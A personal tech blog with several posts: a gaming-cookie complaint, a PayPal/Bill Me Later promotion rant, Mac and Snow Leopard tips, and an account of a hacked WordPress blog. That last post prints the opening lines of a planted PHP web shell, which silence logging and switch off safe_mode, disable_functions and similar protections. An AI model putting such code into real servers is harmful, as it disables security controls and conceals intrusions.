Splash of Style...Macs, Photography, Design, and other Passions

Zynga & Facebook Mafia Wars – Requires 3rd party cookies

I tried launching Mafia Wars the other day, and was surprised to find this message instead:

Facebook Mafia Wars now requires 3rd party cookies to run correctly! Wow!

After googling a little, I found that a lot of players are angry and are not going to play until things change back. Well, I don’t think that Zynga cares. They have way plenty of other users that are more than happy to play the game no matter how badly their security is hindered! Zynga is just out to make money and they couldn’t care less about their users.

Check out this article over on mindspray.com, which includes a video from Techcrunch of the Zynga CEO bragging about how many skummy things he has done to make $ from users. Dirtbag!

Here is the full article over at techCrunch.com

So, I am refusing to play Mafia Wars or any other game that requires my security settings to be changed. I also use the Firefox extensions “AdBlock” and “NoScript” for even more protection.

As of now, it looks like only Mafia Wars has this particular restriction, but I am sure more games are on the way to be changed.

Here is a list of all Zynga games:

• Blackjack
• Cafe World
• Dragon Wars
• Farmville
• Fashion Wars
• Fishville
• Mafia Wars
• Mafia Wars on iPhone (which I promptly deleted from my phone)
• Path Words
• Pirates
• Roller Coaster Kingdom
• Scramble
• Scramble 2
• Special Forces
• Street Racing
• Street Racing (iphone)
• Sudoku
• Live Poker
• Zynga Poker
• Vampires
• Vampires (iPhone)
• Word Twist
• Yoville

More games listed on their wikipedia page.

Keep an eye out, if you are playing any of these games. Don’t trust Zynga!

Cool Song from the Palm Pixi Commercial

I just love that new Palm Pixi commercial. The song rocks.

So, of course I googled and found that it’s “Sleepyhead” by Passion Pit. I am so out of the loop, I didn’t even know who Passion Pit was, but I love the song, and bought it on Amazon tonight (woot! only .89)

Lyrics

Paypal & Bill Me Later Scam Nightmare

OMG, today is the last straw! I am sooo sooo angry and upset with Bill Me Later. And I am most upset with myself for not listening to my instincts.

My advice to EVERYONE, if you receive a pre-approved email from Paypal offering you a credit for $25 or more to use Bill Me Later, RUN AWAY! Don’t fall for it. It’s a complete scam!

It’s been a constant battle to deal with them from the beginning, even before I made my purchase. They are poorly trained (and informed) and now they are refusing to apply the credit! Thankfully, I only spent $26, so it was a cheap lesson to learn.

Let’s start at the beginning! I received TWO official emails from Paypal at the beginning of October:

Do you like choices? We thought so. That’s why you’ve got a brand new choice from PayPal. Shop now – and pay for your purchases later. It’s called Bill Me Later®.

Just check out with PayPal as usual when you shop online. Choose our Bill Me Later option, and you can pay when it’s right for you: now – or later.*

Even better, you’re pre-approved. Shop by 10/31/09 and get up to $25 off your first purchase and no payments for 90 days.
Sound good? Start shopping at one of our participating stores – just a few of the thousands that accept PayPal.
Get up to 25 dollars off and no payments for 90 days
Want to know more? Check it out!

Sounds great, right? My DH needed to purchase something on Ebay. Two separate merchants, I purchased with my Paypal account, and there was absolutely no option to choose “Bill Me Later”

I called Paypal a couple of times, no one knows anything about the promotion (and I assure you, it was an official email, they were just ill-informed) so they pass the buck over to Bill Me Later, who were equally idiotic.

Bill Me Later customer service told me that perhaps the Ebay merchants weren’t included in the 1000′s of merchants (even though it clearly stated on the FAQ that Ebay was included). No one was able to offer any insight to the details of this promotion.

I put the email aside, and really didn’t want to deal with it. I should have listened to that “little voice” and just walked away from the deal. Eh, it was only $25 credit (others were receiving $100 credits – my God, thank you that I didn’t receive one of those, as I would now be paying for $100 of merchandise)

But my inner greed took over and I sat down on October 28 (three days before the Oct 31st deadline) to find something to buy for around $25. I finally decided to purchase two books from Walmart.

So, my cart was filled, and I clicked the “check out with Paypal” button. I signed into my Paypal account (the same account that the email was sent to). I tried to change my Payment Options, and as with Ebay earlier, there was absolutely NO OPTION to change the payment to Bill Me Later. See my screenshot below:

I was livid, so I phoned Bill Me Later again. The customer service rep told me that I should using the Paypal link, but to use the normal check out process and choose “Bill Me Later” as the payment. So, that is what I did, and it appeared to work. EXCEPT, I then received a “Welcome to Bill Me Later” email with the email address that I used for Walmart, NOT the email address that the original offer was sent to.

Oh crap! I called Bill Me Later, and they assured me that they would send a request through to their Account Resolution department and I would have an answer in 5-7 business days.

So, today I receive an email from Bill Me Later (using a Do Not Reply email – grrrr)

Dear Debbie xxxx,

We have received your inquiry about your Bill Me Later® account. Unfortunately, we were not able to apply the promotional credit you requested. The promotional credit with Wal-Mart was not being offered. If however you can provide proof of the offer we will be able to research this further.

Sincerely,
Melissa
Bill Me Later Inc. ®
Customer Care
Financial Services for Bill Me Later® are provided by CIT Bank, Salt Lake City, Utah.

Okay, first off, no telephone number? No last name? No return email address? Talk about wonderful customer service.

Secondly, who said anything about a promotional credit with Wal-Mart? The promotion was offered through Paypal and Bill Me Later! One more moronic statement to add to the pile.

So, of course, at this point I am beyond angry. Beyond being reasonable!

I phoned Bill Me Later. Spoke to “Scott” who listened to my ranting, and ended up giving me his “fake” email address (that bounced) swahba@billmelater.com telling me to forward the email I received to him. As I said, the email ended up being fake, so of course, that made me even angrier! grrrr. I phoned them again, and the new person forwarded my call to Matt who was in the “Account Resolution” department.

At this point, all three people at Bill Me Later kept mentioning the “promotional credit with Wal-Mart”! And it set me off every time! Why do you think this is a promotion from Wal-Mart??? It was an email from Paypal and Bill Me Later!!!! I was screaming I was so upset! (note, yeah, I know you can get more flies with honey, but I was beyond angry, and there was no calming me down!)

So, Matt told me to forward him the original email, which I did. He phoned me in a few minutes and told me that because I didn’t go through Paypal’s checkout, I was out of luck (I am paraphrasing of course)

What??? What? WHAAAATTTT? I screamed bloody murder. That is what I tried to do (at least three times with Ebay and Walmart) and there is no option for Bill Me Later when checking out with Paypal. Matt calmly “assured” me (yeah, oh I love that word, assured) that there certainly was an option.

Show me where then! To this day, no one can tell me! Know why? Because it’s impossible, because it’s a total scam! You will receive the promotional email, you will try to make a purchase, and you will end up being stuck with the charges yourself because they won’t give you the credit. Thankfully, in my case, it was only $25, but others might not be so lucky.

I am thinking I might return one of the books to Walmart anyway. So, it won’t be too bad.

Oh Gawd, I really really really hate Bill Me Later!!!

ETA: It appears I am not the only one that didn’t see any option for Bill Me Later when using Paypal for checkout.
http://www.fatwallet.com/forums/finance/958748/

And the internet is riddled with Bill Me Later complaints dating back years ago. It appears they have a reputation for their lack of customer service skills and sweeping problems under the rug.
http://www.google.com/search?q=bill+me+later+scam
http://www.google.com/search?q=bill+me+later+fraud
http://news.cnet.com/2100-1017-960380.html

This complaint from 2005 sounds so similar to my situation. They pass it to the “Accounts Resolution” department, and then after their investigation, they deny that there was a promo for Walmart, Amazon or whichever store you used for the purchase! Wow. They are still doing the same thing four years later!

I really want to close out the account, as I don’t want to give them the satisfaction of having me as a customer, but I am afraid it will hinder my credit. I have excellent credit, and from what I have read, by opening the account, they did a “hard pull” on my credit account, which reduces my credit score a few points for 6 months or so. If I close the account, I have a feeling it might also affect my score. Something to check out!

UPDATE: Just received an email from Matt (in reply to my email with an attached screenshot of my Paypal screen with no payment option for Bill Me Later)

Again I apologize for the frustration that this issue has caused, and I want to assure you that we are committed to providing you the best service that we can. There has been some confusion during the release of this new offer through PayPal, and many of our agents including myself have not been giving the right information.

The heart of this issue seems to be this, though Walmart may be a Paypal merchant they are not offering Bill Me Later through PayPal at this time. This is likely because Walmart is one of our regular Bill Me Later merchants. In the future it is likely that Walmart will be available with Bill Me Later through the PayPal wallet but it is currently not offered.

Also addressing your issues using Bill Me Later through the PayPal wallet on eBay, likely the merchant you attempted to use was also not offered. Unfortunately there is no list of merchants that offer this payment method, because of the large number of merchants on eBay all desiring different methods it would be virtually impossible to list them all. So in the future if you desire to use Bill Me Later through the PayPal wallet and receive your $25 merchant reward if you do not see the option at your point of purchase you will know that it is not offered. Then you will be able to back out of your order if you so desire.

Again Ms. xxx, I apologize for the inconvenience that this has caused and appreciate your patience with this issue.

This makes this promotion look more fraudulent by the minute. How could they possibly offer this promotion and not know who was participating? And I think his excuse is a bullsh*t answer anyway.

What’s happening is NO merchants are set up to use Bill Me Later through Paypal. That’s what I think! Why wouldn’t they all be set up? If a merchant like Walmart is set up to receive both Paypal and Bill Me Later, how difficult would it be to merge the two? And furthermore, how could they possibly roll out this promotion when even the merchants listed in the actual email weren’t in participation? I checked back in October, and at least one of the three wasn’t set up! Sorry, but that is misleading!

Scam scam scam. Stay away from Paypal and Bill Me Later or you’ll be sorry!

Stuck CD in Macbook Pro

I inserted a data file DVD into my Macbook Pro, and it only spun up for a few seconds, then fell silent. It wasn’t mounted on my desktop, or when I checked in Disk Utility.

It wouldn’t respond when I hit the Eject button either. It was silent.

I googled “stuck cd macbook pro” and found a few answers, but it was puzzling because most users were hearing a struggling super drive trying to read the disk, not silence.

Okay, so I decided to try the suggestion to reboot while holding down the trackpad key.

I started closing my apps, and was surprised when I went into my VMware Fusion virtual machine window. Surprise Surprise! There was my DVD; the files were displayed in an open Windows Explorer window. So that’s where the DVD went. It mounted in Windows for some reason, not Mac!

So, I right-clicked on the drive in My Computer and ejected. Yay, problem solved! And I didn’t even have to reboot!

This One Made Me Laugh

I know, I get all sorts of spammy email crap from every advertising and search engine web site, but this one gave me such a giggle.

Dear Webmaster,

My name is Liz, and my company Topspot Promotions represents online gaming sites in various domains. We are looking at reputable sites to place our clients’ ads. Please let me know if you are interested.

For further details please don’t hesitate to contact me.

Sincerely,
Liz Jenkins
Advertising Consultant
Business Development Department
liz.jenkins @ topspot-promotions dot net (removed link to their actual web site)
Topspot Promotions

If you do not respond to this email you will not receive any additional emails from TopSpot Promotions. To permanently delete yourself from our list, simply reply to this with a blank email and you will not receive any communication from us in the future.

Okay first off, they are looking for “reputable” sites to place their online gaming ads. What? They don’t want to advertise gaming on a non-reputable site? Gee, they are picky aren’t they? On the other hand, once an online gaming ad goes up, wave bye bye to the good reputation. Catch 22.

And then the last paragraph. If I don’t respond I won’t receive anymore emails from them, but just in case, it’s better to reply with a blank email and they will know to delete me from their list. I love it!

iCal Alarms After Snow Leopard Upgrade

After upgrading to Snow Leopard, I noticed that older alarm messages were appearing. It happened two nights in a row now.

I have an alarm set to take a vitamin every night, and ALL the older iCal alarm messages were popping up. The event was originally set back in August, so I deleted all instances of it, and created a new reoccurring event.

I hope it fixes the problem.

I also panicked when I saw that there was no option to backup my iCal file. Whenever I make any changes in iCal I always like to create a backup file for safe keeping. It was always File>Backup

I was happy to find the backup was moved to File>Export>iCal Archive – not sure why it’s called “archive” when I am not really archiving anything, just backing up.

Textpander Works in Snow Leopard

Yay, my oldie but goodie freeware app Textpander (before it was sold and changed to TextExpander) works perfectly in Snow Leopard.

I wasn’t sure if it would come through, but I am happy to report that it’s fine!

Snow Leopard Upgrade

Important: Before upgrading, I carefully researched all my installed apps to make sure there wasn’t compatibility issues with Snow Leopard: http://snowleopard.wikidot.com/

So, Thursday was the big day. I decided to upgrade to Snow Leopard on my MacBook Pro (Santa Rosa 2.2 GHz, 4gb Ram) previously running Leopard.

Create a Bootable Backup of your Hard Drive

First and foremost, I regularly create a bootable cloned copy of my hard drive. I use Super Duper, but Carbon Copy Cloner will also work. Making a complete clone of your hard drive will ensure that you can easily revert back to Leopard (or Tiger) if something goes wrong with your upgrade.

I create a backup clone approximately every month or two. I also do it before I install any major Mac OS X upgrades. It has saved my butt on more than one occasion, even when my Macbook Pro hard drive failed. It’s easy to boot into your external drive and carry on!

To make a bootable clone, you must have a blank external hard drive. You can partition a section of a larger external drive, or utilize the whole drive. Either way, the external “target” drive will be completely erased, so do not use a drive with important backups or files.

Launch Super Duper.

Choose your hard drive as the “Source” on left and your external drive as the “Target” on right. Then hit the Copy Now button.

You will be asked for your admin user account and password. It will probably take a few hours to complete the backup depending on how large your hard drive is. A good time to complete this is when you are at work or asleep.

Once the bootable clone is finished, it’s very important to boot into the new drive to verify that it works properly. Restart Mac OS X, and when you hear the “gong”, hold down the ALT/Option key. When the icons appear, choose the newly created boot drive, and Mac OS X will start in that drive.

How can you ensure that you are truly booted into your boot drive?

In Finder, choose one of your folders or files. The path to the file/folder will be displayed at the bottom of your Finder window. ie Boot>Users>MyProfile>Desktop

If you do not see this path, in the Finder menu bar, choose View>Show Path Bar.

Comparing Hard Drives

Okay, I admit it, I am obsessively over-organized sometimes. So this is a step you can ignore if you feel it’s too analytic!

When I create a bootable backup, I always compare used space on both hard drives. Click to select your hard drive in finder, then hit File>Get Info or you can use the keyboard shortcut ⌘ + I (Command key + I for Info)

I never really looked into what constitutes the difference in drive space, but I assume it’s temp or cached files and stuff like that. In order to keep my Mac running smoothly, I take an extra step and copy my bootable drive back to my HD space. It can add back drive space (in my case, almost 4gb) and it’s an easy way to optimize the drive if it’s fragmented. Most times, I have found my system runs quicker after this step.

Okay, so you have to be booted into your cloned boot drive if you want to complete this step. Follow the same procedure as when you made the initial backup, except the Boot drive is the “Source” on left and your system hard drive is the “Target” on the right.

Once that is completed, compare drive space on both drives again. It should be almost identical, give or take a few bytes.

IMPORTANT: It’s important to now restart and boot into your system hard drive!!!!

Time to Upgrade

Now I am finally ready to upgrade from Mac OS X Leopard to Snow Leopard. (Make sure you are booted into your hard drive, not your bootable backup clone)

I safely ejected and removed cables to all USB and Firewire hard drives from my Mac hardware.

Inserted the Snow Leopard Install DVD.

In the Customize options window:

I removed checkmark next to Language Translations and X11.

I was surprised that it didn’t ask me if I wanted to install fresh or upgrade. I was planning on “upgrading” initially anyway just to find out how much hard drive space I was officially gaining. I then planned on re-installing fresh later if there were problems.

Once the upgrade started, it indicated that the process would be 45 minutes, then it quickly adjusted to over an hour. I decided to leave it alone and go downstairs to watch TV for a few minutes. I took my iPhone stop watch with me.

I came back upstairs after approximately 17 minutes, and it was in the middle of a reboot.

After the reboot, it stated 30 minutes remaining.

I left again to return in 12 minutes, where the install process was stating 4 minutes remaining.

All in all, the upgrade process was approximately 40 minutes.

After the Smoke Cleared

Mac OS X automatically rebooted and started in Snow Leopard. It didn’t seem any quicker to start, but I have a ton of start up menu items and apps, so I don’t expect miracles there.

I was pleased to see my hard drive space was indeed thinner.

I started with 58.26 gb (after restoring my cloned backup) and after the Snow Leopard upgrade, I was @ 55.35 gb.

Software update started, and after the 10.6.1 update, my hard drive space was lowered to 55.22 GB, so I saved almost 3gb in the upgrade. Not bad.

I haven’t launched many apps yet, but I was most concerned about Thunderbird failing. I had read that several users were having issues after a fresh install of Snow Leopard. I launched Thunderbird, and all seems to be working fine. I’ve been using it for a couple of days with no problems. Phew.

I was also concerned about my older Wacom tablet, but so far it’s working perfectly.

Only other grumble was when I woke my system yesterday morning, there were several OLD iCal alarms (from back to August) that appeared. But no other problems with iCal other than that so far.

I have been browsing the web using Safari and Firefox, sending and receiving mail in Thunderbird, using Transmit for SFTP, and opening photos in Preview. So far so good.

Truthfully, I don’t think I will be sticking to my original plan to re-install from scratch. Surprisingly, there doesn’t seem to be a need yet, but time will tell when I start to launch more apps later.

I don’t know if I just got lucky, or if perhaps optimizing my hard drive by restoring the clone helped. I don’t know!

I Was Hacked!

Eeek! First off, let me say Thank God that I had the WordPress plugin “WordPress File Monitor” installed, because that is what alerted me to the problem. Note to Bart B if you are reading this, heehe, I am glad I wasted my time with that voodoo!

So, I get an email today from the WordPress File Monitor (dated yesterday, I am slow) informing me that a bunch of files were uploaded to one of my other blogs in the “uploads” directory – left as 777 permissions for easy photo uploading.

In the uploads directory, a file named “img1.php” was added, along with a fresh new directory named “2008″ with a bunch of sitemap files. (note: I just started this blog in July of 2009, and I have no entries or uploads from 2008, so it was very fishy.)

So, of course my first thought is am I going crazy? Did I somehow upload these files without knowing? Initially at first I didn’t notice the .php file, so I only thought the 2008 sitemap files were added.

I contacted my host, and she assured me that it wasn’t anything too terrible, that it was an every day run of the mill spammer. Sneaky spammers! She has seen this sort of thing many times.

She suggested I change my WordPress password and check the database for any extra users. I found no other user accounts, thankfully!

For future reference, I found two articles that list details on how to find and remove any hidden admin users:

http://blog.nachotech.com/?p=125
http://www.studionashvegas.com/wordpress/latest-wordpress-hack-check-your-permalinks-people/

But now I am left puzzled on how they got in!

My WordPress admin password was pretty strong – 15 characters (numerical, upper and lower case letters) and I wasn’t using the default “admin” as my user name either. My host also suggested it might have been from “an exploit via a plugin that isn’t secured against arbitrary remote inclusion/retrieval”

I am only running 4 plug-ins. Akismet, Hello Dolly, WP Security Scan, and WordPress File Monitor. I did also have the un-updated WordPress Exploit Scanner plug-in, but it was left de-activated. I have since removed it from the plugins folder.

I suppose since I don’t have a secure login, I imagine that possibly my password could have been bypassed? I dunno. I think I might install the Login Lockdown plugin – yeah, Bart more voodoo!

Well, anyway, I am going to really search through my files and make sure everything else is alright.

I found an article that might help me search through the database just in case the spammers attached anything to my posts.

Right now, it doesn’t look like much damage was done. But worse case scenario, I have database backups every night. I can always revert back to one of the older ones and re-create the newer entries I wrote, or I could even export my entries and install a fresh copy of wordpress. We’ll see.

So, be wary of your WordPress blogs! I dunno how they got into mine, but they did, and thankfully I was lucky and it wasn’t too painful!

PS. I took a look at the .php file they added, and one of the first lines of code was $language=’ru’ (aah, From Russia with love!) But anyway, here is the some of the code from the file:

error_reporting(0);
$language='ru';
$auth = 0;
$name='abcdef1234567890abcdef1234567890';
$pass='abcdef1234567890abcdef1234567890';
@ini_restore("safe_mode");
@ini_restore("open_basedir");
@ini_restore("safe_mode_include_dir");
@ini_restore("safe_mode_exec_dir");
@ini_restore("disable_functions");
@ini_restore("allow_url_fopen");
@ini_set('error_log',NULL);
@ini_set('log_errors',0);

Mac Apps and Compatibility with Snow Leopard

I have Mac OS X Snow Leopard on order from Amazon. It will be here any day. In the meantime, I am getting organized and ready for the big re-install.

I have a plan to go the “upgrade” route first, to find out how much space I would save by upgrading.

Then the plan is to wipe the drive and install fresh.

Anyway, I want to make sure I get all my Mac apps in order with serial numbers, etc. I also want to make sure I download the most current version to ensure compatibility with Snow Leopard.

I found this great wiki site with lots of great info about Mac apps and their compatibility to Snow Leopard
http://snowleopard.wikidot.com/start

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